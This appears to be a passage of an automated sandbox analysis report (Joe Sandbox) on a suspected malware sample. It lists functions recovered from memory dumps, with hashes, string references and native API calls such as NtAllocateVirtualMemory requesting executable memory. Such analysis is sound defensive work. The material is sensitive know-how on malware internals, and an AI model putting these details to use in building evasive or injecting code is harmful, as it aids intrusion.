Instruction ID: 2517a2f9c752f0b1af8bfba5543b0eff9216f07a40dbaee296bd134fda10080b
Opcode Fuzzy Hash: ab7753eccbe8c3058c8192defa4a029098f29c46a3edc67d472076f77fa21132
Instruction Fuzzy Hash: 4D1133766093019BD700CF04C84474FBBA2EBC5329F65CA88E8A817284D374D90A8BD2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0007CF46 Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 432COMMON

Download Yara Rule

Strings

[Q, xrefs: 0007D013
=?, xrefs: 0007CF9B
)+, xrefs: 0007CF7D
E, xrefs: 0007D29A
J%, xrefs: 0007D01D
JQ, xrefs: 0007D009
57, xrefs: 0007CF87

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: E$J%$JQ$[Q$)+$57$=?
API String ID: 292159236-1103543027
Opcode ID: fe591c90cf57b821cfd61189b6acfff6d4f82bcc36d57f8d83a37cabd730ef46
Instruction ID: b7a5389f0b278b6ca4dc286118724d8bab75c0faefffb4ddb82acfdc3caaa8ed
Opcode Fuzzy Hash: fe591c90cf57b821cfd61189b6acfff6d4f82bcc36d57f8d83a37cabd730ef46
Instruction Fuzzy Hash: E10262B1100B40CFE764CF24D885BA7B7F4FB45304F548A2DE5AA8BAA1DB78B845CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0007CB80 Relevance: 12.8, Strings: 10, Instructions: 261COMMON

Download Yara Rule

Strings

d9:;, xrefs: 0007CC09
Y5[7, xrefs: 0007CC01
Z-K/, xrefs: 0007CBF1
s;, xrefs: 0007CE28
8#, xrefs: 0007CE30
@%z', xrefs: 0007CBE1
s1]3, xrefs: 0007CBF9
X!G#, xrefs: 0007CBD9
d)C+, xrefs: 0007CBE9
s}, xrefs: 0007CE20

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID: 8#$@%z'$X!G#$Y5[7$Z-K/$d)C+$d9:;$s1]3$s;$s}
API String ID: 0-3001701124
Opcode ID: 9d30e288a2bef91a97465712db77debd21a9ee98f14e1bb36b4f8901b46d0eba
Instruction ID: 6b9b57ef78e2132d4c240adc1c04a3fd1ebed4588260e709ec22081821ee0500
Opcode Fuzzy Hash: 9d30e288a2bef91a97465712db77debd21a9ee98f14e1bb36b4f8901b46d0eba
Instruction Fuzzy Hash: 7F918BB19083418BE724CF18C891A6BBBF1FF82354F148A1DF9A65B291D378D905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00080F04 Relevance: 11.3, APIs: 4, Strings: 2, Instructions: 802nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 000828F6
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0008294F

Strings

Y]KB, xrefs: 00082C69
EXEC, xrefs: 00082C62

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: EXEC$Y]KB
API String ID: 292159236-105863924
Opcode ID: 7118970c7d10e608b8692ed25e00d5dfd9f4d49a00f844524a27d9ec39997ab9
Instruction ID: dff4295651e435e8ba439d6643d810d0b495fd781627a2e64c48301b7060d24e
Opcode Fuzzy Hash: 7118970c7d10e608b8692ed25e00d5dfd9f4d49a00f844524a27d9ec39997ab9
Instruction Fuzzy Hash: DF52B970104B408BD775CF29C4947A7BBE2BF56314F188A6DD4EB8BB92D778A409CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0007FB8E Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 637COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 0007FC9D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0007FCC6
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 000800DD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0008010B

Strings

qrs, xrefs: 000801CB
MO, xrefs: 000801B6

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: MO$qrs
API String ID: 237503144-2817786354
Opcode ID: dd30e6e9a4c57973faa2247032ef8b73d9b63b6f473b2da2b204fb7435a20cbf
Instruction ID: 9fbe160fc484b02b21254d1ebf794fa9f106d8456a0c2d5b9b5f6cd3e7d0a851
Opcode Fuzzy Hash: dd30e6e9a4c57973faa2247032ef8b73d9b63b6f473b2da2b204fb7435a20cbf
Instruction Fuzzy Hash: 593249B1500A009FD724CF29C495B17BBE2FF89324F158A5DD8AA8BB99D734E815CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0007A880 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 153nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0007AB42
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 0007AB97

Strings

~w, xrefs: 0007AC70
IXta, xrefs: 0007AD0C
JaLc, xrefs: 0007ABD8
`w, xrefs: 0007AC78

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: IXta$JaLc$`w$~w
API String ID: 292159236-2358998091
Opcode ID: 7dc8edb2d33e6a87ba551a7bf1d2d29b94d2999e4f8c21392fcda2dc06fdca44
Instruction ID: d1bce1f3907ad90a368c457a95bef4998ffb5d9a14d16ddd118c9f163d9db635
Opcode Fuzzy Hash: 7dc8edb2d33e6a87ba551a7bf1d2d29b94d2999e4f8c21392fcda2dc06fdca44
Instruction Fuzzy Hash: 12611EB0618381AFE364CF04D884B1FBBE5FB82344F50991DF5A58B2A1D778D805CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00091950 Relevance: 9.4, APIs: 6, Instructions: 396nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00100000,00003000,00000004), ref: 000919A0
NtAllocateVirtualMemory.NTDLL(000000FF,0000BA00,00000000,?,00003000,00000040), ref: 00091AA0
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000010,00008000), ref: 00091AFC
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00010000,00008000), ref: 00091B46
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000000,00003000,00000004), ref: 00091B6C
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00091E54

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 5fb16ffc409add2a8446e3a01137ddaee96252de0c204b8cd56a2413f054a250
Instruction ID: e383c645c1aa0db6f20b8549d982afce8594fa716294205ea474499a5fa9c268
Opcode Fuzzy Hash: 5fb16ffc409add2a8446e3a01137ddaee96252de0c204b8cd56a2413f054a250
Instruction Fuzzy Hash: 91D1DE716093429FDB20CF18C890B5FBBE5BF89314F148A2CF9A58B391D7719904DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00061700 Relevance: 9.3, Strings: 7, Instructions: 578COMMON

Download Yara Rule

Strings

0, xrefs: 000617A4
., xrefs: 000617CF
., xrefs: 000617AA
true, xrefs: 0006187A
false, xrefs: 00061892
null, xrefs: 00061ACD
[, xrefs: 00061969

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true
API String ID: 0-2094208800
Opcode ID: 9cd6c33fa633f99d73755da20337ddb069e21a84914cb8192b136fab26398c03
Instruction ID: ff27dc3a24d1992327785868a4b57fbd7ac9f2dd60e4290aed6b3211c48caf16
Opcode Fuzzy Hash: 9cd6c33fa633f99d73755da20337ddb069e21a84914cb8192b136fab26398c03
Instruction Fuzzy Hash: 900248B0A043098FE7605F25DC497AABBE6BF84345F1C8538E8C687253EB75D914CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0007960A Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

amjh, xrefs: 000796E2

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID: amjh
API String ID: 0-1051360590
Opcode ID: 62f2cb83abac9728b17769b8ed9a354cc966668cbd16db1bad264e2f73eec7e8
Instruction ID: 274cae637a34f7f4115c5396545e5f6607aadc4c42f8104a4e8bba5d4fb5fdaa
Opcode Fuzzy Hash: 62f2cb83abac9728b17769b8ed9a354cc966668cbd16db1bad264e2f73eec7e8
Instruction Fuzzy Hash: E1E1AD716093908FE724CF18C890BAFB7E1FBC9714F048A1DE9A99B390D7759905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00096400 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 319nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 000964A8
NtFreeVirtualMemory.NTDLL(000000FF,00000000,?,00008000), ref: 00096506
NtAllocateVirtualMemory.NTDLL(000000FF,D2FF0000,00000000,?,00003000,00000040), ref: 000965CB
NtFreeVirtualMemory.NTDLL(000000FF,000000B8,?,00008000), ref: 00096628

Strings

R-,T, xrefs: 00096550

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: R-,T
API String ID: 292159236-635581381
Opcode ID: 7ccb3d6dbc896e6dc0114d470d0ee8c351c3b42b68fb4810d4276a1c2478bf06
Instruction ID: bc7b2aeab0f0f94475797409fe21a6aa7cb82a3c2451effcafe90f8c3df6f0c8
Opcode Fuzzy Hash: 7ccb3d6dbc896e6dc0114d470d0ee8c351c3b42b68fb4810d4276a1c2478bf06
Instruction Fuzzy Hash: 5FB1AC752083019FD714CF58C880B2AF7E6EF88354F148A2CF9A59B3A0D7B5E905DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00086D8E Relevance: 9.0, Strings: 7, Instructions: 247COMMON

Download Yara Rule

Strings

G, xrefs: 00086F3E
Z, xrefs: 00086F4E
E, xrefs: 00086F56
w, xrefs: 00086F26
L, xrefs: 00086F36
C, xrefs: 00086F46
@, xrefs: 00086F2E

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID: @$C$E$G$L$Z$w
API String ID: 0-3096178343
Opcode ID: c1550461aa56ea7f22d22226870841a87193a01f6b5dfce3e43afae83982e8d5
Instruction ID: 28ad2cda2ba80bb8d3e9966283bc3505584d0dba6c098ba17b2eb743dfdb85d4
Opcode Fuzzy Hash: c1550461aa56ea7f22d22226870841a87193a01f6b5dfce3e43afae83982e8d5
Instruction Fuzzy Hash: 54A1C47560D3808FD7759B28C89479EBBD2BBD6320F198A6DD8D98B3C1CB799804C742

Uniqueness

Uniqueness Score: -1.00%

Function 00096060 Relevance: 6.3, APIs: 4, Instructions: 293nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00096108
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00096165
NtAllocateVirtualMemory.NTDLL(000000FF,D2FF0000,00000000,?,00003000,00000040), ref: 00096226
NtFreeVirtualMemory.NTDLL(000000FF,D2FF0000,00000010,00008000), ref: 0009627F

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 1491d0f1d1d915eee0141cc8df334272f42ec368a2f8908f1f3af869e1518343
Instruction ID: 1cacefaff5b60ee100f8bc4c79738b38d7db657380ffef93de4caeb50fa0a9bc
Opcode Fuzzy Hash: 1491d0f1d1d915eee0141cc8df334272f42ec368a2f8908f1f3af869e1518343
Instruction Fuzzy Hash: 99B155752083059FDB14CF18C880A2EB7E5FF89754F148A2CF9949B3A0D776EA05DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00091220 Relevance: 6.2, APIs: 4, Instructions: 187nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000912C9
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00091319
NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000913DD
NtFreeVirtualMemory.NTDLL(000000FF,?,00000010,00008000), ref: 00091427

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 8c901ab91c208b5b5673d8002995b691f99efbd6526887dd3e4c26b99e3a1b72
Instruction ID: 59764c73977a6a3a9ae8318b0d8f21b1680d04e98117e5e6036debc88a9fa88a
Opcode Fuzzy Hash: 8c901ab91c208b5b5673d8002995b691f99efbd6526887dd3e4c26b99e3a1b72
Instruction Fuzzy Hash: 8F519B712083019FE710CF18C845B5BBBE5EB89758F248A2DF5A89B3D0D7B5D9098B92

Uniqueness

Uniqueness Score: -1.00%

Function 00074810 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0007484D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0007487E

Strings

qrs, xrefs: 000748B4

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: qrs
API String ID: 237503144-2859022563
Opcode ID: 266661f6370bd5efd9a3907c46d45dbfaa321d769f9b26b609c06a4122a6e25e
Instruction ID: b5b2f41ee160987036035c56fce64bfff607d3b7ad21fbe306ae16d304b300eb
Opcode Fuzzy Hash: 266661f6370bd5efd9a3907c46d45dbfaa321d769f9b26b609c06a4122a6e25e
Instruction Fuzzy Hash: BC51AE706083419FE360CF14C891BABB7F4EF86714F408A1CF99A9B292DB749904CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0007A762 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0007A926
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 0007A97C

Strings

45, xrefs: 0007AA20

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: 45
API String ID: 292159236-2889884971
Opcode ID: c88beda83118e0669281cb60c8ba8bbfe525401425c57732833b727f781ad4b4
Instruction ID: eeaff4729f3b286d7d889b1964fe493342e3f3c9640f372c730a82eddee2db11
Opcode Fuzzy Hash: c88beda83118e0669281cb60c8ba8bbfe525401425c57732833b727f781ad4b4
Instruction Fuzzy Hash: C851F0B11183819FE364CF14C885B5FBBE5BB86304F508A1DF5A58B290C7B99909CF97

Uniqueness

Uniqueness Score: -1.00%

Function 00095AB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00095B5F
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00095BB9

Strings

$, xrefs: 00095B36

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: $
API String ID: 292159236-3993045852
Opcode ID: e8ec7440928858f882cc150fe7970511b71e6496d0c7f5635582f15e8b703dbc
Instruction ID: 91c4c1928214660acf17cbe3c57ecf8391cd5c6fbb4f6049c5e89a95df83c05f
Opcode Fuzzy Hash: e8ec7440928858f882cc150fe7970511b71e6496d0c7f5635582f15e8b703dbc
Instruction Fuzzy Hash: A4318F71208301AFE710CF59CC81B5BBBE5EB85754F114A18FAA49B3E0C7B5AD05CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00072277 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00072460
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 000724AA

Strings

E~a, xrefs: 000724C5

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: E~a
API String ID: 292159236-3518370834
Opcode ID: 6e7a224693c3d2711ea06e027773ce41d831b378d392e376e597d4a3fb486b70
Instruction ID: 85597669669ac015530592f3f49bc3a879333e004622fd334a917882be6ed40a
Opcode Fuzzy Hash: 6e7a224693c3d2711ea06e027773ce41d831b378d392e376e597d4a3fb486b70
Instruction Fuzzy Hash: 2C3136B5600B008FE724CF24C841B67B7F5FB49300F148A1DE6AB8BBA1D779A905CB90

Uniqueness

Uniqueness Score: -1.00%
